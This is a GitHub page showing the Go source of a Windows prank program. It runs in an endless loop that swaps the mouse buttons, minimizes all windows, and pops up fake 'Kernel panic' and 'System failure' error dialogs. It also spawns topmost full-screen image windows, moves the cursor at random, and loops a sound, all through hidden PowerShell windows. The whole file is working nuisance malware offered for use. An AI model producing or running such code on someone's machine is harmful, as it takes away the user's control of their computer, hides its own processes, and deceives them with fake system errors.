-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
200 lines (170 loc) · 5.13 KB
/
main.go
File metadata and controls
200 lines (170 loc) · 5.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package main
import (
_ "embed"
"fmt"
"math/rand"
"os"
"os/exec"
"path/filepath"
"sync/atomic"
"syscall"
"time"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
procSwapMouseBtn = user32.NewProc("SwapMouseButton")
activeWindows int32
)
func setMouseSwap(swapped bool) {
if swapped {
procSwapMouseBtn.Call(1)
} else {
procSwapMouseBtn.Call(0)
}
}
func desktopPurge() {
psScript := `(New-Object -ComObject Shell.Application).MinimizeAll()`
_ = exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", psScript).Run()
}
func errorCascade() {
psScript := `
Add-Type -AssemblyName System.Windows.Forms
$messages = @(
"Kernel panic: Wlee is here.",
"Error 404: Wlee is here.",
"System failure: Wlee is too cool.",
"Warning: Wlee is here.",
"Critical Error: Wleee.",
"Access Denied: Wlee is here.",
"CPU on fire: Please blow on the motherboard. - Wleee"
)
for($i=0; $i -lt 5; $i++) {
$msg = $messages | Get-Random
[System.Windows.Forms.MessageBox]::Show($msg, "System Error", 0, 16)
}
`
go func() {
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", psScript)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_ = cmd.Run()
}()
}
//go:embed image.jpg
var imageBytes []byte
//go:embed wleesound.mp3
var soundBytes []byte
func main() {
// 1. Initial Random Delay (3-10 seconds)
rand.Seed(time.Now().UnixNano())
delay := rand.Intn(8) + 3
time.Sleep(time.Duration(delay) * time.Second)
// 1.5 Start Background Audio
go playLoopedSound()
// 2. Prepare the Image
tempDir := os.TempDir()
tempImagePath := filepath.Join(tempDir, "surprise_img.jpg")
err := os.WriteFile(tempImagePath, imageBytes, 0644)
if err != nil {
return
}
defer os.Remove(tempImagePath)
// 3. The Annoyance Loop (Infinite)
for {
// 1 in 3 chance to trigger Global Annoyance
if rand.Intn(3) == 0 {
desktopPurge()
errorCascade()
}
// Spawn 1-2 windows concurrently
numWindows := rand.Intn(2) + 1
for i := 0; i < numWindows; i++ {
go showPrank(tempImagePath)
// Small stagger between windows
time.Sleep(200 * time.Millisecond)
}
// Wait a random, shorter interval (1-4 seconds)
delay := rand.Intn(3) + 1
time.Sleep(time.Duration(delay) * time.Second)
}
}
func showPrank(imagePath string) {
atomic.AddInt32(&activeWindows, 1)
setMouseSwap(true)
defer func() {
if atomic.AddInt32(&activeWindows, -1) == 0 {
setMouseSwap(false)
}
}()
psScript := fmt.Sprintf(`
Add-Type -AssemblyName System.Windows.Forms, System.Drawing
[System.Windows.Forms.Application]::EnableVisualStyles()
$f = New-Object Windows.Forms.Form
$f.Text = "Surprise"
$f.FormBorderStyle = "None"
$f.TopMost = $true
$f.BackColor = "Black"
# Play Annoying Sound
[System.Media.SystemSounds]::Exclamation.Play()
# Random Window Sizing & Positioning
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$w = $screen.Width * (0.6 + (Get-Random -Minimum 0 -Maximum 40) / 100)
$h = $screen.Height * (0.6 + (Get-Random -Minimum 0 -Maximum 40) / 100)
$x = Get-Random -Minimum 0 -Maximum ($screen.Width - $w)
$y = Get-Random -Minimum 0 -Maximum ($screen.Height - $h)
$f.StartPosition = "Manual"
$f.Location = New-Object System.Drawing.Point($x, $y)
$f.Size = New-Object System.Drawing.Size($w, $h)
# Warp Cursor to Random Location
$cx = Get-Random -Minimum 0 -Maximum $screen.Width
$cy = Get-Random -Minimum 0 -Maximum $screen.Height
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($cx, $cy)
$img = [Drawing.Image]::FromFile('%s')
$f.BackgroundImage = $img
$f.BackgroundImageLayout = "Zoom"
# Interaction
$f.Add_Click({ $f.Close() })
$f.Add_KeyDown({ if ($_.KeyCode -eq "Escape") { $f.Close() } })
[System.Windows.Forms.Application]::Run($f)
$img.Dispose()
`, imagePath)
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", psScript)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_ = cmd.Run()
}
func playLoopedSound() {
tempDir := os.TempDir()
tempSoundPath := filepath.Join(tempDir, "wleesound.mp3")
err := os.WriteFile(tempSoundPath, soundBytes, 0644)
if err != nil {
return
}
defer os.Remove(tempSoundPath)
psScript := fmt.Sprintf(`
Add-Type -AssemblyName PresentationCore
$player = New-Object System.Windows.Media.MediaPlayer
$player.Open('%s')
$player.Play()
# Wait for media to load to get duration
$timeout = 0
while ($player.NaturalDuration.HasTimeSpan -eq $false -and $timeout -lt 50) {
Start-Sleep -Milliseconds 100
$timeout++
}
if ($player.NaturalDuration.HasTimeSpan) {
$duration = $player.NaturalDuration.TimeSpan
while($true) {
if ($player.Position -ge $duration) {
$player.Position = [TimeSpan]::Zero
$player.Play()
}
Start-Sleep -Milliseconds 500
}
} else {
# Fallback if duration can't be determined - just wait indefinitely
while($true) { Start-Sleep 10 }
}
`, tempSoundPath)
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", psScript)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_ = cmd.Run()
}